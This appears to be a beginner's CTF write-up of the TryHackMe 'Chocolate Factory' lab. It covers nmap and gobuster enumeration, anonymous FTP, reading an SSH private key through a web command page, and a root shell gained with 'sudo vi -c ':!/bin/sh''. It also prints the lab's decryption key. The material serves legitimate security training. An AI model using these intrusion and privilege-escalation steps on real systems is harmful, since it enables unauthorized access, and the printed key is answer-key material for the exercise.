> For the complete documentation index, see [llms.txt](https://h0t.gitbook.io/h0t/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://h0t.gitbook.io/h0t/boxes/tryhackme/tryhackme-chocolate-factory-writeup.md).

# TryHackMe Chocolate Factory WriteUp

### TryHackMe Chocolate Factory WriteUp <a href="#tryhackme-chocolate-factory-writeup" id="tryhackme-chocolate-factory-writeup"></a>

Hello and Welcome to my first writeup!

### **Reconnaissance and Enumeration** <a href="#reconnaissance-and-enumeration" id="reconnaissance-and-enumeration"></a>

first we scan the machine using nmap using the command:

```bash
nmap -sV [IP HERE]
```

**nmap scan**

```bash
21/tcp  open  ftp        vsftpd 3.0.3

22/tcp  open  ssh        OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)

80/tcp  open  http       Apache httpd 2.4.29 ((Ubuntu))

100/tcp open  newacct?

106/tcp open  pop3pw?

109/tcp open  pop2?

110/tcp open  pop3?

111/tcp open  rpcbind?

113/tcp open  ident?

119/tcp open  nntp?

125/tcp open  locus-map?
```

**ftp enumeration**

we login to ftp using username: “anonymous” and password: “anonymous”

in ftp found “gum\_room.jpg”

used steghide to extract it:

```bash
steghide extract -sf gum_room.jpg
```

didnt put passphrase, b64.txt extracted.

found what looks like a /etc/shadow file. didnt find anything useful.

**web enumeration**

we open the webpage and find a login portal.

i used gobuster to enumerate directories.

```bash
"gobuster dir -u http://[IP HERE] -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.txt,.html"

gobuster: the name of the tool.
 
dir: specify we want to bruteforce directiories.

-u: specify the url

-w: specify the world list

-x: look for filees with exstinsions.
```

result:

```bash
/.php                 (Status: 403) [Size: 278]

/.html                (Status: 403) [Size: 278]

/index.html           (Status: 200) [Size: 1466]

/home.php             (Status: 200) [Size: 569]

/validate.php         (Status: 200) [Size: 93]
```

***

### **Initial Access:** <a href="#initial-access" id="initial-access"></a>

we navigate to home.php, you can run commands in it.

<figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2FdzjB8lZcOSxRCwuYrvfo%2Fimage.png?alt=media&amp;token=878a3fbd-676c-4ede-a4b2-9ed3f6212196" alt=""><figcaption></figcaption></figure>

we try the whoami command

<figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2FgHIsyQepth1f9hJhPWxQ%2Fimage.png?alt=media&amp;token=5b5a0b46-9707-4725-bcf0-ee6c19e928b7" alt=""><figcaption></figcaption></figure>

it works! we search for users in the home directory using `"ls /home"`

<figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2FrDpN9WZ6je3n3hWPynCd%2Fimage.png?alt=media&amp;token=9851117f-f484-4993-96f1-0b48f2d87934" alt=""><figcaption></figcaption></figure>

found user charlie, we list the files, using `"ls /home/charlie"`

<figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2FuS5onnnDbgSl7DXT1I0p%2Fimage.png?alt=media&amp;token=d32b635d-5500-4c8d-9269-5a979ce1b77e" alt=""><figcaption></figcaption></figure>

```bash
"cat /home/charlie/teleport"
```

Bingo! found ssh private key.

<figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2FYCuj5yC1gcH2t05iTWPn%2Fimage.png?alt=media&amp;token=3981e0fc-a5c5-41a8-9c1b-b0f47b0d38fc" alt=""><figcaption></figcaption></figure>

i copied it into id\_rsa file then give it the right permissions using `chmod +600` test if we can login using ssh to the user. the key works!

<figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2FvjduDTKFuGNYlABVUMhe%2Fimage.png?alt=media&amp;token=fa4afb65-ca00-4251-859c-cdb8d96203b1" alt=""><figcaption></figcaption></figure>

in /var/www/html i found a file named key\_rev\_key, i try to run it:

<figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2Ftksn3yvHAKF0ovCvlRxJ%2Fimage.png?alt=media&amp;token=038c9b8a-ca9f-4ce2-9328-64e44ecad924" alt=""><figcaption></figcaption></figure>

changed the permissions using `chmod +x key_rev_key`

<figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2F8wcrabzqaGE1LMBPMx4M%2Fimage.png?alt=media&amp;token=74d4f3b1-4d26-4158-b984-0dd351a24247" alt=""><figcaption></figcaption></figure>

since its a binary, we can check the file contents using `strings key_rev_key`

<figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2FavcGbtdRGD4l6KaTp160%2Fimage.png?alt=media&amp;token=819aeb04-6741-48b9-9a32-2f68a944a42b" alt=""><figcaption></figcaption></figure>

got the key!

`b'-VkgXhFf6sAEcAwrC6YR-SZbiuSb8ABXeQuvhcGSQzY='`

in /var/www/html we `cat` validate.php:

<figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2FGkKQiArzyBSvus9Z5ffm%2Fimage.png?alt=media&amp;token=ff67577b-0ad0-4ef1-9a9b-b855d7c7492c" alt=""><figcaption></figcaption></figure>

run validate.php , bingo we got charlies password :)

login to charlies account using “su charlie”.

**user.txt**

<figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2Fs9q8FaTBkiQAZKuQ5a6m%2Fimage.png?alt=media&amp;token=1fb48fce-4b7b-415c-9b3b-d4bc5bbf80d9" alt=""><figcaption></figcaption></figure>

***

### **Privilege Escalation:** <a href="#privilege-escalation" id="privilege-escalation"></a>

The first thing you should check for is `sudo -l`, result:

```bash
Matching Defaults entries for charlie on chocolate-factory:
   env_reset, mail_badpass,
   
   secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User charlie may run the following commands on chocolate-factory:
    
   (ALL : !root) NOPASSWD: /usr/bin/vi
```

in gtfobins, `vi -c ':!/bin/sh' /dev/null`

i ran it with sudo so if it works we could get root privileges `sudo vi -c ':!/bin/sh' /dev/null`

```bash
charlie@chocolate-factory:/home/charlie$ sudo vi -c ':!/bin/sh' /dev/null
```

pwned!!

**Finding the root flag**

we find root.py we run it , enter the key we obtained before , and it shows us the root flag.

Happy Pwning :)

<figure><img src="https://421213191-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FfUOAAeVs9eihqxcrtvIC%2Fuploads%2FFzrQDyrVqaMEFxQNSNmU%2Fimage.png?alt=media&amp;token=77b915db-86fb-4e85-a34f-78dfc85c7f6e" alt=""><figcaption></figcaption></figure>
